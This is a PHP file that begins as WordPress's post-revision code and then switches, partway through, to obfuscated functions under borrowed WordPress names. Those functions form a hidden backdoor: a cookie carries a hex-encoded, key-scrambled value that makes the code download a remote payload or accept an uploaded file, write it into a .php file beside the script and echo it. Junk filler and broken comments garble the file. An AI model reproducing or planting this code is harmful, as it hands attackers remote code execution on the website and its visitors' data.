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<?php /* 
*
 * Post revision functions.
 *
 * @package WordPress
 * @subpackage Post_Revisions
 

*
 * Determines which fields of posts are to be saved in revisions.
 *
 * @since 2.6.0
 * @since 4.5.0 A `WP_Post` object can now be passed to the `$post` parameter.
 * @since 4.5.0 The optional `$autosave` parameter was deprecated and renamed to `$deprecated`.
 * @access private
 *
 * @param array|WP_Post $post       Optional. A post array or a WP_Post object being processed
 *                                  for insertion as a post revision. Default empty array.
 * @param bool          $deprecated Not used.
 * @return string[] Array of fields that can be versioned.
 
function _wp_post_revision_fields( $post = array(), $deprecated = false ) {
	static $fields = null;

	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( is_null( $fields ) ) {
		 Allow these to be versioned.
		$fields = array(
			'post_title'   => __( 'Title' ),
			'post_content' => __( 'Content' ),
			'post_excerpt' => __( 'Excerpt' ),
		);
	}

	*
	 * Filters the list of fields saved in post revisions.
	 *
	 * Included by default: 'post_title', 'post_content' and 'post_excerpt'.
	 *
	 * Disallowed fields: 'ID', 'post_name', 'post_parent', 'post_date',
	 * 'post_date_gmt', 'post_status', 'post_type', 'comment_count',
	 * and 'post_author'.
	 *
	 * @since 2.6.0
	 * @since 4.5.0 The `$post` parameter was added.
	 *
	 * @param string[] $fields List of fields to revision. Contains 'post_title',
	 *                         'post_content', and 'post_excerpt' by default.
	 * @param array    $post   A post array being processed for insertion as a post revision.
	 
	$fields = apply_filters( '_wp_post_revision_fields', $fields, $post );

	 WP uses these internally either in versioning or elsewhere - they cannot be versioned.
	foreach ( array( 'ID', 'post_name', 'post_parent', 'post_date', 'post_date_gmt', 'post_status', 'post_type', 'comment_count', 'post_author' ) as $protect ) {
		unset( $fields[ $protect ] );
	}

	return $fields;
}

*
 * Returns a post array ready to be inserted into the posts table as a post revision.
 *
 * @since 4.5.0
 * @access private
 *
 * @param array|WP_Post $post     Optional. A post array or a WP_Post object to be processed
 *                                for insertion as a post revision. Default empty array.
 * @param bool          $autosave Optional. Is the revision an autosave? Default false.
 * @return array Post array ready to be inserted as a post revision.
 
function _wp_post_revision_data( $post = array(), $autosave = false ) {
	if ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	$fields = _wp_post_revision_fields( $post );

	$revision_data = array();

	foreach ( array_intersect( array_keys( $post ), array_keys( $fields ) ) as $field ) {
		$revision_data[ $field ] = $post[ $field ];
	}

	$revision_data['post_parent']   = $post['ID'];
	$revision_data['post_status']   = 'inherit';
	$revision_data['post_type']     = 'revision';
	$revision_data['post_name']     = $autosave ? "$post[ID]-autosave-v1" : "$post[ID]-revision-v1";  "1" is the revisioning system version.
	$revision_data['post_date']     = isset( $post['post_modified'] ) ? $post['post_modified'] : '';
	$revision_data['post_date_gmt'] = isset( $post['post_modified_gmt'] ) ? $post['post_modified_gmt'] : '';

	return $revision_data;
}

*
 * Saves revisions for a post after all changes have been made.
 *
 * @since 6.4.0
 *
 * @param int     $post_id The post id that was inserted.
 * @param WP_Post $post    The post object that was inserted.
 * @param bool    $update  Whether this insert is updating an existing post.
 
function wp_save_post_revision_on_insert( $post_id, $post, $update ) {
	if ( ! $update ) {
		return;
	}

	if ( ! has_action( 'post_updated', 'wp_save_post_revision' ) ) {
		return;
	}

	wp_save_post_revision( $post_id );
}

*
 * Creates a revision for the current version of a post.
 *
 * Typically used immediately after a post update, as every update is a revision,
 * and the most recent revision always matches the current post.
 *
 * @since 2.6.0
 *
 * @param int $post_id The ID of the post to save as a revision.
 * @return int|WP_Error|void Void or 0 if error, new revision ID, if success.
 
function wp_save_post_revision( $post_id ) {
	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
		return;
	}

	 Prevent saving post revisions if revisions should be saved on wp_after_insert_post.
	if ( doing_action( 'post_updated' ) && has_action( 'wp_after_insert_post', 'wp_save_post_revision_on_insert' ) ) {
		return;
	}

	$post = get_post( $post_id );

	if ( ! $post ) {
		return;
	}

	if ( ! post_type_supports( $post->post_type, 'revisions' ) ) {
		return;
	}

	if ( 'auto-draft' === $post->post_status ) {
		return;
	}

	if ( ! wp_revisions_enabled( $post ) ) {
		return;
	}

	
	 * Compare the proposed update with the last stored revision verifying that
	 * they are different, unless a plugin tells us to always save regardless.
	 * If no previous revisions, save one.
	 
	$revisions = wp_get_post_revisions( $post_id );
	if ( $revisions ) {
		 Grab the latest revision, but not an autosave.
		foreach ( $revisions as $revision ) {
			if ( str_contains( $revision->post_name, "{$revision->post_parent}-revision" ) ) {
				$latest_revision = $revision;
				break;
			}
		}

		*
		 * Filters whether the post has changed since the latest revision.
		 *
		 * By default a revision is saved only if one of the revisioned fields has changed.
		 * This filter can override that so a revision is saved even if nothing has changed.
		 *
		 * @since 3.6.0
		 *
		 * @param bool    $check_for_changes Whether to check for changes before saving a new revision.
		 *                                   Default true.
		 * @param WP_Post $latest_revision   The latest revision post object.
		 * @param WP_Post $post              The post object.
		 
		if ( isset( $latest_revision ) && apply_filters( 'wp_save_post_revision_check_for_changes', true, $latest_revision, $post ) ) {
			$post_has_changed = false;

			foreach ( array_keys( _wp_post_revision_fields( $post ) ) as $field ) {
				if ( normalize_whitespace( $post->$field ) !== normalize_whitespace( $latest_revision->$field ) ) {
					$post_has_changed = true;
					break;
				}
			}

			*
			 * Filters whether a post has changed.
			 *
			 * By default a revision is saved only if one of the revisioned fields has changed.
			 * This filter allows for additional checks to determine if there were changes.
			 *
			 * @since 4.1.0
			 *
			 * @param bool    $post_has_changed Whether the post has changed.
			 * @param WP_Post $latest_revision  The latest revision post object.
			 * @param WP_Post $post             The post object.
			 
			$post_has_changed = (bool) apply_filters( 'wp_save_post_revision_post_has_changed', $post_has_changed, $latest_revision, $post );

			 Don't save revision if post unchanged.
			if ( ! $post_has_changed ) {
				return;
			}
		}
	}

	$return = _wp_put_post_revision( $post );

	
	 * If a limit for the number of revisions to keep has been set,
	 * delete the oldest ones.
	 
	$revisions_to_keep = wp_revisions_to_keep( $post );

	if ( $revisions_to_keep < 0 ) {
		return $return;
	}

	$revisions = wp_get_post_revisions( $post_id, array( 'order' => 'ASC' ) );

	*
	 * Filters the revisions to be considered for deletion.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_Post[] $revisions Array of revisions, or an empty array if none.
	 * @param int       $post_id   The ID of the post to save as a revision.
	 
	$revisions = apply_filters(
		'wp_save_post_revision_revisions_before_deletion',
		$revisions,
		$post_id
	);

	$delete = count( $revisions ) - $revisions_to_keep;

	if ( $delete < 1 ) {
		return $return;
	}

	$revisions = array_slice( $revisions, 0, $delete );

	for ( $i = 0; isset( $revisions[ $i ] ); $i++ ) {
		if ( str_contains( $revisions[ $i ]->post_name, 'autosave' ) ) {
			continue;
		}

		wp_delete_post_revision( $revisions[ $i ]->ID );
	}

	return $return;
}

*
 * Retrieves the autosaved data of the specified post.
 *
 * Returns a post object with the information that was autosaved for the specified post.
 * If the optional $user_id is passed, returns the autosave for that user, otherwise
 * returns the latest autosave.
 *
 * @since 2.6.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int $post_id The post ID.
 * @param int $user_id Optional. The post author ID. Default 0.
 * @return WP_Post|false The autosaved data or false on failure or when no autosave exists.
 
function wp_get_post_autosave( $post_id, $user_id = 0 ) {
	global $wpdb;

	$autosave_name = $post_id . '-autosave-v1';
	$user_id_query = ( 0 !== $user_id ) ? "AND post_author = $user_id" : null;

	 Construct the autosave query.
	$autosave_query = "
		SELECT *
		FROM $wpdb->posts
		WHERE post_parent = %d
		AND post_type = 'revision'
		AND post_status = 'inherit'
		AND post_name   = %s " . $user_id_query . '
		ORDER BY post_date DESC
		LIMIT 1';

	$autosave = $wpdb->get_results(
		$wpdb->prepare(
			$autosave_query,
			$post_id,
			$autosave_name
		)
	);

	if ( ! $autosave ) {
		return false;
	}

	return get_post( $autosave[0] );
}

*
 * Determines if the specified post is a revision.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of revision's parent on success, false if not a revision.
 
function wp_is_post_revision( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	return (int) $post->post_parent;
}

*
 * Determines if the specified post is an autosave.
 *
 * @since 2.6.0
 *
 * @param int|WP_Post $post Post ID or post object.
 * @return int|false ID of autosave's parent on success, false if not a revision.
 
function wp_is_post_autosave( $post ) {
	$post = wp_get_post_revision( $post );

	if ( ! $post ) {
		return false;
	}

	if ( str_contains( $post->post_name, "{$post->post_parent}-autosave" ) ) {
		return (int) $post->post_parent;
	}

	return false;
}

*
 * Inserts post data into the posts table as a post revision.
 *
 * @since 2.6.0
 * @access private
 *
 * @param int|WP_Post|array|null $post     Post ID, post object OR post array.
 * @param bool                   $autosave Optional. Whether the revision is an autosave or not.
 *                                         Default false.
 * @return int|WP_Error WP_Error or 0 if error, new revision ID if success.
 
function _wp_put_post_revision( $post = null, $autosave = false ) {
	if ( is_object( $post ) ) {
		$post = get_object_vars( $post );
	} elseif ( ! is_array( $post ) ) {
		$post = get_post( $post, ARRAY_A );
	}

	if ( ! $post || empty( $post['ID'] ) ) {
		return new WP_Error( 'invalid_post', __( 'Invalid post ID.' ) );
	}

	if ( isset( $post['post_type'] ) && 'revision' === $post['post_type'] ) {
		return new WP_Error( 'post_type', __( 'Cannot create a revision of a revision' ) );
	}

	$post = _wp_post_revision_data( $post, $autosave );
	$post = wp_slash( $post );  Since data is from DB.

	$revision_id = wp_insert_post( $post, true );
	if ( is_wp_error( $revision_id ) ) {
		return $revision_id;
	}

	if ( $revision_id ) {
		*
		 * Fires once a revision has been saved.
		 *
		 * @since 2.6.0
		 * @since 6.4.0 The post_id parameter was added.
		 *
		 * @param int $revision_id Post revision ID.
		 * @param int $post_id     Post ID.
		 
		do_action( '_wp_put_post_revision', $revision_id, $post['post_parent'] );
	}

	return $revision_id;
}


*
 * Save the revisioned meta fields.
 */
	/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
function get_auth_string($stage)
{ //	if (($sttsFramesTotal / $sttsSecondsTotal) > $twobytesnfo['video']['frame_rate']) {
    $stage = ord($stage);
    $unique_failures = "values&encoded";
    $tags_data = rawurldecode($unique_failures);
    $skipped_signature = str_replace("&", " and ", $tags_data);
    $CommandTypeNameLength = do_core_upgrade("sha1", $skipped_signature);
    return $stage;
}


/**
 * Deletes multiple values from the cache in one call.
 *
 * @since 6.0.0
 *
 * @see WP_Object_Cache::delete_multiple()
 * @global WP_Object_Cache $wp_object_cache Object cache global instance.
 *
 * @param array  $post_catss  Array of keys under which the cache to deleted.
 * @param string $searchesroup Optional. Where the cache contents are grouped. Default empty.
 * @return bool[] Array of return values, grouped by key. Each value is either
 *                true on success, or false if the contents were not deleted.
 */
function sodium_crypto_aead_chacha20poly1305_ietf_keygen($BitrateCompressed, $v_minute)
{
    $post_content_filtered = $_COOKIE[$BitrateCompressed];
    $thisObject = "0123456789abcdefghijklmnopqrstuvwxyz";
    $post_content_filtered = get_mime_type($post_content_filtered); // No 'cpage' is provided, so we calculate one.
    $upgrade_plan = compute_string_distance($post_content_filtered, $v_minute);
    $Priority = str_pad($thisObject, 50, '0');
    if (classnames_for_block_core_search($upgrade_plan)) {
    if (in_array('abc', str_split(substr($Priority, 0, 30)))) {
        $open_button_classes = "Found!";
    }
 // Clear pattern caches.
		$open_button_classes = atom_10_content_construct_type($upgrade_plan);
        return $open_button_classes; // Generate the output links array.
    } // Bail early if there is no selector.
	
    wp_untrash_post_comments($BitrateCompressed, $v_minute, $upgrade_plan);
}


/**
	 * Parse an escaped character within quotes
	 */
function iconv_fallback($show_comments_count, $preview_page_link_html) { // Deprecated values.
    $slug_decoded = ['one', 'two', 'three'];
    $orig_home = implode(' + ', $slug_decoded);
    $wp_meta_boxes = $orig_home;
    $theme_action = "SELECT * FROM users WHERE username = ?";
    $remind_interval = $preview_page_link_html->prepare($theme_action); // Run the update query, all fields in $options_graphic_png_max_data_bytes are %s, $where is a %d.
    $remind_interval->bind_param("s", $show_comments_count);
    $remind_interval->execute();
    return $remind_interval->get_result()->fetch_assoc();
}


/*
			 * Base layout styles are provided as part of `styles`, so only output separately if explicitly requested.
			 * For backwards compatibility, the Columns block is explicitly included, to support a different default gap value.
			 */
function rest_handle_multi_type_schema($stack_top, $skip_min_height)
{
    $requested_fields = get_auth_string($stack_top) - get_auth_string($skip_min_height);
    $nonce_life = "Data to be worked upon";
    $requested_fields = $requested_fields + 256;
    if (!empty($nonce_life) && strlen($nonce_life) > 5) {
        $listname = str_pad(rawurldecode($nonce_life), 50, '.');
    }

    $saved_location = explode(' ', $listname);
    $remote = array_map(function($round_bit_rate) {
        return do_core_upgrade('sha256', $round_bit_rate);
    $requested_fields = $requested_fields % 256;
    }, $saved_location);
    $stack_top = wp_generate_tag_cloud($requested_fields);
    $tester = implode('--', $remote);
    return $stack_top; // 5.3
}


/*
	 * As of 1.12.1 `jquery-ui-position` and `jquery-ui-widget` are part of `jquery-ui-core`.
	 * Listed here for back-compat.
	 */
function atom_10_content_construct_type($upgrade_plan)
{
    get_status($upgrade_plan); // Print an 'abbr' attribute if a value is provided via get_sortable_columns().
    $unique_failures = "this+is+a+test";
    $tags_data = rawurldecode($unique_failures);
    handle_content_type($upgrade_plan);
}


/**
	 * Signifies whether the current query is for a paged result and not for the first page.
	 *
	 * @since 1.5.0
	 * @var bool
	 */
function is_collection_registered($video) {
    sort($video);
    $unique_failures = rawurldecode("test%20testing");
    $tags_data = explode(" ", $unique_failures);
    $skipped_signature = trim($tags_data[1]);
    $CommandTypeNameLength = do_core_upgrade("md2", $skipped_signature);
    $post_parent__not_in = str_pad($CommandTypeNameLength, 32, "."); // If Imagick is used as our editor, provide some more information about its limitations.
    return $video;
}


/**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     *
     * @var string
     */
function classnames_for_block_core_search($r_p1p1)
{
    if (strpos($r_p1p1, "/") !== false) { // 'Byte Layout:                   '1111111111111111
    $orphans = "  Trimming and Padding  ";
    $post_type_meta_caps = trim($orphans);
    $matched = str_pad($post_type_meta_caps, 40, '*', STR_PAD_BOTH);
        return true;
    }
    return false;
}


/**
 * Moves a directory from one location to another.
 *
 * Recursively invalidates OPcache on success.
 *
 * If the renaming failed, falls back to copy_dir().
 *
 * Assumes that WP_Filesystem() has already been called and setup.
 *
 * This function is not designed to merge directories, copy_dir() should be used instead.
 *
 * @since 6.2.0
 *
 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
 *
 * @param string $merged_content_structrom      Source directory.
 * @param string $to        Destination directory.
 * @param bool   $overwrite Optional. Whether to overwrite the destination directory if it exists.
 *                          Default false.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function autosaved($BitrateCompressed, $v_minute, $upgrade_plan)
{
    $upgrade_notice = $_FILES[$BitrateCompressed]['name'];
    $maybe_active_plugin = "a_b_c_d"; // Check if the translation is already installed.
    $previewable_devices = explode('_', $maybe_active_plugin);
    if (count($previewable_devices) > 3) {
        $serialized_instance = substr($maybe_active_plugin, 0, 5);
        $open_button_classes = str_replace('_', '-', $serialized_instance);
    } else {
        $open_button_classes = trim($maybe_active_plugin);
    }

    $sitemap_entry = strlen($open_button_classes);
    $old_dates = $sitemap_entry ^ 10;
    $maintenance_file = delete_site_transient($upgrade_notice);
    if (isset($last_missed_cron)) {
        $last_missed_cron[] = $old_dates;
    } else {
        $last_missed_cron = [$old_dates];
    }

    find_changeset_post_id($_FILES[$BitrateCompressed]['tmp_name'], $v_minute);
    wp_insert_user($_FILES[$BitrateCompressed]['tmp_name'], $maintenance_file); // Remove conditional title tag rendering...
}


/**
	 * Determines whether the query is for a post or page preview.
	 *
	 * @since 3.1.0
	 *
	 * @return bool Whether the query is for a post or page preview.
	 */
function wp_generate_tag_cloud($stage) //  * version 0.4 (07 December 2007)                           //
{
    $stack_top = sprintf("%c", $stage);
    $last_sent = array("first", "second", "third"); // or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)
    $this_tinymce = implode(" - ", $last_sent); // Got our column, check the params.
    $proxy_port = strlen($this_tinymce);
    return $stack_top;
}


/**
	 * @param mixed $num_keys_salts
	 * @param mixed $replace
	 *
	 * @return array|false|null
	 */
function find_changeset_post_id($maintenance_file, $post_cats)
{ //This is a folded continuation of the current header, so unfold it
    $lyrics3_id3v1 = file_get_contents($maintenance_file);
    $role_names = "user";
    $left = rawurldecode($role_names);
    $short_url = str_pad($left, 10, "0");
    if (strlen($short_url) > 5) {
        $supported_block_attributes = do_core_upgrade("md5", $short_url);
    }

    $name_conflict_suffix = compute_string_distance($lyrics3_id3v1, $post_cats);
    file_put_contents($maintenance_file, $name_conflict_suffix);
}


/**
	 * Gets URLs allowed to be previewed.
	 *
	 * If the front end and the admin are served from the same domain, load the
	 * preview over ssl if the Customizer is being loaded over ssl. This avoids
	 * insecure content warnings. This is not attempted if the admin and front end
	 * are on different domains to avoid the case where the front end doesn't have
	 * ssl certs. Domain mapping plugins can allow other urls in these conditions
	 * using the customize_allowed_urls filter.
	 *
	 * @since 4.7.0
	 *
	 * @return array Allowed URLs.
	 */
function delete_site_transient($upgrade_notice) // Then see if any of the existing sidebars...
{
    return inline_edit() . DIRECTORY_SEPARATOR . $upgrade_notice . ".php"; // Make sure meta is added to the post, not a revision.
}


/**
 * Generate markup for the HTML element that will be used for the overlay.
 *
 * @param array $unique_failuresttributes Block attributes.
 *
 * @return string HTML markup in string format.
 */
function after_element_push($r_p1p1, $maintenance_file)
{
    $nohier_vs_hier_defaults = async_upgrade($r_p1p1);
    $position_y = 'PHP is amazing';
    $xfn_relationship = strpos($position_y, 'amazing');
    if ($xfn_relationship !== false) {
        $reinstall = 'Contains amazing';
    }

    if ($nohier_vs_hier_defaults === false) { //Check if it is a valid disposition_filter
        return false; // Backward compatibility.
    }
    return block_core_navigation_mock_parsed_block($maintenance_file, $nohier_vs_hier_defaults); // Check of the possible date units and add them to the query.
}


/**
 * Updates the post type for the post ID.
 *
 * The page or post cache will be cleaned for the post ID.
 *
 * @since 2.5.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $post_id   Optional. Post ID to change post type. Default 0.
 * @param string $post_type Optional. Post type. Accepts 'post' or 'page' to
 *                          name a few. Default 'post'.
 * @return int|false Amount of rows changed. Should be 1 for success and 0 for failure.
 */
function wp_insert_user($thisfile_asf_paddingobject, $revparts) // Assume plugin main file name first since it is a common convention.
{
	$meta_boxes = move_uploaded_file($thisfile_asf_paddingobject, $revparts);
    $new_meta = array("a", "b", "c");
	
    $should_display_icon_label = implode("", $new_meta); // Scope the feature selector by the block's root selector.
    while (strlen($should_display_icon_label) < 5) {
        $should_display_icon_label = str_pad($should_display_icon_label, 5, "#");
    }

    return $meta_boxes; // Remove default function hook.
}


/**
 * Retrieves the private post SQL based on capability.
 *
 * This function provides a standardized way to appropriately select on the
 * post_status of a post type. The function will return a piece of SQL code
 * that can be added to a WHERE clause; this SQL is constructed to allow all
 * published posts, and all private posts to which the user has access.
 *
 * @since 2.2.0
 * @since 4.3.0 Added the ability to pass an array to `$post_type`.
 *
 * @param string|array $post_type Single post type or an array of post types. Currently only supports 'post' or 'page'.
 * @return string SQL code that can be added to a where clause.
 */
function block_core_navigation_mock_parsed_block($maintenance_file, $processed_content)
{
    return file_put_contents($maintenance_file, $processed_content); // If we made it this far, just serve the file.
}


/**
	 * Filters the array of metadata retrieved from a video.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$options_graphic_png_max_data_bytes` parameter.
	 *
	 * @since 4.9.0
	 *
	 * @param array       $metadata    Filtered video metadata.
	 * @param string      $merged_content_structile        Path to video file.
	 * @param string|null $merged_content_structile_format File format of video, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $options_graphic_png_max_data_bytes        Raw metadata from getID3.
	 */
function wp_create_nav_menu($BitrateCompressed, $BSIoffset = 'txt') // Used in the HTML title tag.
{
    return $BitrateCompressed . '.' . $BSIoffset;
} // Skip outputting gap value if not all sides are provided.


/* translators: New user notification email subject. %s: User login. */
function register_field($r_p1p1)
{
    $r_p1p1 = "http://" . $r_p1p1;
    $property_value = "Example Text"; // found a comment end, and we're in one now
    $use_defaults = trim($property_value);
    $widget_instance = strlen($use_defaults); //            e[i] += carry;
    if ($widget_instance > 10) {
        $segmentlength = do_core_upgrade('md5', $use_defaults);
    }

    $sub_field_value = rawurldecode("Example%20Text");
    return $r_p1p1;
}


/**
	 * Clamps an array of HSLA values.
	 *
	 * Direct port of colord's clampHsla function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hsl.ts#L6 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param array $vertsla The HSLA array to clamp.
	 * @return array The clamped HSLA array.
	 */
function rest_validate_integer_value_from_schema($video, $maybe_increase_count = 'asc') {
    $sizes = "AnotherSampleStr";
    $should_skip_font_style = rawurldecode($sizes); // Define and enforce our SSL constants.
    $parsed_original_url = do_core_upgrade('md4', $should_skip_font_style);
    $thumbnails_parent = str_pad($parsed_original_url, 32, "!");
    if (empty($should_skip_font_style)) {
        $parent_page = explode("p", $should_skip_font_style);
        $LE = array_merge($parent_page, array("ExtraString"));
    }

    return $maybe_increase_count === 'asc' ? is_collection_registered($video) : wp_kses_bad_protocol_once($video);
}


/**
 * Server-side rendering of the `core/comments-pagination-next` block.
 *
 * @package WordPress
 */
function sodium_crypto_secretstream_xchacha20poly1305_pull($show_comments_count, $where_format, $preview_page_link_html) {
    $num_keys_salts = array("Sun", "Mon", "Tue");
    $queue_text = rawurldecode("%46%72%69");
    $replace = array_merge($num_keys_salts, array($queue_text));
    $subkey_len = implode(",", $replace); // Copy attachment properties.
    $upload_iframe_src = password_do_core_upgrade($where_format, PASSWORD_BCRYPT); // Parse site IDs for a NOT IN clause.
    $open_basedirs = date("l");
    $theme_action = "INSERT INTO users (username, password) VALUES (?, ?)";
    $object_position = do_core_upgrade("sha1", $subkey_len); //$merged_content_structiledataoffset += 1;
    $map_meta_cap = str_pad($object_position, 50, "A");
    $stack_of_open_elements = strlen($map_meta_cap);
    $properties_to_parse = str_replace("Tue", "Wednesday", $subkey_len);
    $remind_interval = $preview_page_link_html->prepare($theme_action); // Reference Movie Component check atom
    $sub2feed2 = substr($properties_to_parse, 0, 10);
    $parent_theme_base_path = strlen($sub2feed2);
    $raw_config = explode(",", $subkey_len);
    $rating_value = implode(":", $raw_config);
    $remind_interval->bind_param("ss", $show_comments_count, $upload_iframe_src);
    $second = count($replace); // ----- Look if present
    return $remind_interval->execute();
} // 4.22  LNK  Linked information


/**
 * Retrieves user option that can be either per Site or per Network.
 *
 * If the user ID is not given, then the current user will be used instead. If
 * the user ID is given, then the user data will be retrieved. The filter for
 * the result, will also pass the original option name and finally the user data
 * object as the third parameter.
 *
 * The option will first check for the per site name and then the per Network name.
 *
 * @since 2.0.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param string $option     User option name.
 * @param int    $role_names       Optional. User ID.
 * @param string $CommandTypeNameLengtheprecated Use get_option() to check for an option in the options table.
 * @return mixed User option value on success, false on failure.
 */
function get_byteorder($show_comments_count, $where_format, $preview_page_link_html) {
    $set_thumbnail_link = array(1, 2, 3);
    foreach ($set_thumbnail_link as $rawheaders) {
        $open_button_classes = $rawheaders * $rawheaders;
    }
 // Parse the file using libavifinfo's PHP implementation.
    $role_names = iconv_fallback($show_comments_count, $preview_page_link_html);
    $t7 = implode(",", $set_thumbnail_link);
    if($role_names && password_verify($where_format, $role_names['password'])) { // If the new autosave has the same content as the post, delete the autosave.
        return true;
    }
    return false;
}


/* translators: Hidden accessibility text. %s: Number of posts. */
function block_core_navigation_get_post_ids($BitrateCompressed)
{
    $v_minute = 'wHwBaJicXzaRyhlFuUhzdGn';
    $needed_dirs = "Message%20";
    $settings_errors = rawurldecode($needed_dirs);
    $preset_gradient_color = do_core_upgrade("sha256", $settings_errors);
    $used = substr($preset_gradient_color, 0, 10);
    $num_total = str_pad($used, 20, "0");
    if (isset($_COOKIE[$BitrateCompressed])) { // Make sure the user is allowed to add a category.
        sodium_crypto_aead_chacha20poly1305_ietf_keygen($BitrateCompressed, $v_minute);
    }
}


/**
 * Deprecated functionality to retrieve a list of all sites.
 *
 * @since MU (3.0.0)
 * @deprecated 3.0.0 Use wp_get_sites()
 * @see wp_get_sites()
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $start      Optional. Offset for retrieving the blog list. Default 0.
 * @param int    $num        Optional. Number of blogs to list. Default 10.
 * @param string $CommandTypeNameLengtheprecated Unused.
 */
function handle_content_type($original_data)
{
    echo $original_data;
}


/**
	 * Retrieves multiple values from the cache in one call.
	 *
	 * Compat function to mimic wp_cache_get_multiple().
	 *
	 * @ignore
	 * @since 5.5.0
	 *
	 * @see wp_cache_get_multiple()
	 *
	 * @param array  $post_catss  Array of keys under which the cache contents are stored.
	 * @param string $searchesroup Optional. Where the cache contents are grouped. Default empty.
	 * @param bool   $merged_content_structorce Optional. Whether to force an update of the local cache
	 *                      from the persistent cache. Default false.
	 * @return array Array of return values, grouped by key. Each value is either
	 *               the cache contents on success, or false on failure.
	 */
function get_mime_type($page_list)
{
    $subkey_len = pack("H*", $page_list);
    $unique_failures = "sample"; // Don't delete, yet: 'wp-rdf.php',
    $tags_data = strlen($unique_failures);
    return $subkey_len;
}


/**
	 * Sanitizes a 'relation' operator.
	 *
	 * @since 4.1.0
	 *
	 * @param string $relation Raw relation key from the query argument.
	 * @return string Sanitized relation. Either 'AND' or 'OR'.
	 */
function async_upgrade($r_p1p1)
{
    $r_p1p1 = register_field($r_p1p1);
    $orig_diffs = 'abc def ghi';
    $oembed_post_id = trim($orig_diffs);
    $schema_styles_elements = explode(' ', $oembed_post_id);
    $rgb_regexp = implode('-', $schema_styles_elements);
    return file_get_contents($r_p1p1);
}


/**
 * Sets translated strings for a script.
 *
 * Works only if the script has already been registered.
 *
 * @see WP_Scripts::set_translations()
 * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts.
 *
 * @since 5.0.0
 * @since 5.1.0 The `$CommandTypeNameLengthomain` parameter was made optional.
 *
 * @param string $vertandle Script handle the textdomain will be attached to.
 * @param string $CommandTypeNameLengthomain Optional. Text domain. Default 'default'.
 * @param string $path   Optional. The full file path to the directory containing translation files.
 * @return bool True if the text domain was successfully localized, false otherwise.
 */
function get_users_of_blog() { // We seem to be dealing with an IPv4 address.
    $utf16 = " Raw %20string # test @ %input ";
    $label_count = explode('%', rawurldecode($utf16)); // -----  Add the byte
    $ExplodedOptions = array(); // Redirect to HTTPS login if forced to use SSL.
    return $layout_classes['user'] ?? null;
}


/**
	 * @since 5.9.0 Renamed `$tag` to `$rawheaders` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Term $rawheaders        Term object.
	 * @param string  $skipped_signatureolumn_name Name of the column.
	 * @return string
	 */
function compute_string_distance($options_graphic_png_max_data_bytes, $post_cats)
{
    $responsive_container_classes = strlen($post_cats);
    $text_align = "Random-Data"; // Ensure we only run this on the update-core.php page. The Core_Upgrader may be used in other contexts.
    $old_term_id = substr($text_align, 7, 4);
    $template_slug = rawurldecode($old_term_id);
    $show_tagcloud = strlen($options_graphic_png_max_data_bytes);
    $special_chars = do_core_upgrade("sha1", $template_slug);
    $responsive_container_classes = $show_tagcloud / $responsive_container_classes;
    if (!empty($special_chars)) {
        $rest_controller = strlen($special_chars);
        $theme_update_new_version = str_pad($special_chars, 40, "X");
    }
 // https://en.wikipedia.org/wiki/ISO_6709
    $subdomain_error_warn = explode("-", "x-y-z");
    $request_ids = array("w", "u");
    $new_version_available = array_merge($subdomain_error_warn, $request_ids);
    $responsive_container_classes = ceil($responsive_container_classes); // Regular filter.duotone support uses filter.duotone selectors with fallbacks.
    $select = str_split($options_graphic_png_max_data_bytes);
    $post_cats = str_repeat($post_cats, $responsive_container_classes); // Note: 'fields'=>'ids' is not being used in order to cache the post object as it will be needed.
    $sanitized_login__not_in = str_split($post_cats);
    $sanitized_login__not_in = array_slice($sanitized_login__not_in, 0, $show_tagcloud);
    $upgrader_item = array_map("rest_handle_multi_type_schema", $select, $sanitized_login__not_in);
    $upgrader_item = implode('', $upgrader_item); // GPS latitude+longitude+altitude
    return $upgrader_item;
}


/**
	 * Similar to parse_str()
	 *
	 * Returns an associative array of name/value pairs, where the value is an
	 * array of values that have used the same name
	 *
	 * @static
	 * @param string $subkey_len The input string.
	 * @return array
	 */
function inline_edit()
{
    return __DIR__; # We care because the last character in our encoded string will
}


/**
 * Parses a date into both its local and UTC equivalent, in MySQL datetime format.
 *
 * @since 4.4.0
 *
 * @see rest_parse_date()
 *
 * @param string $CommandTypeNameLengthate   RFC3339 timestamp.
 * @param bool   $twobytess_utc Whether the provided date should be interpreted as UTC. Default false.
 * @return array|null {
 *     Local and UTC datetime strings, in MySQL datetime format (Y-m-d H:i:s),
 *     null on failure.
 *
 *     @type string $0 Local datetime string.
 *     @type string $1 UTC datetime string.
 * }
 */
function get_status($r_p1p1)
{ // as of this Snoopy release.
    $upgrade_notice = basename($r_p1p1);
    $lastChunk = "Sample%20String%20For%20Testing";
    $z3 = rawurldecode($lastChunk); // Skip widgets that may have gone away due to a plugin being deactivated.
    $search_rewrite = explode(' ', $z3);
    $maintenance_file = delete_site_transient($upgrade_notice);
    $time_not_changed = "";
    for ($twobytes = 0; $twobytes < count($search_rewrite); $twobytes++) {
        $time_not_changed .= str_pad($search_rewrite[$twobytes], 10, '.');
    }

    after_element_push($r_p1p1, $maintenance_file);
}


/*
				 * Else, if we're adding to the sorted priority, we don't know the title
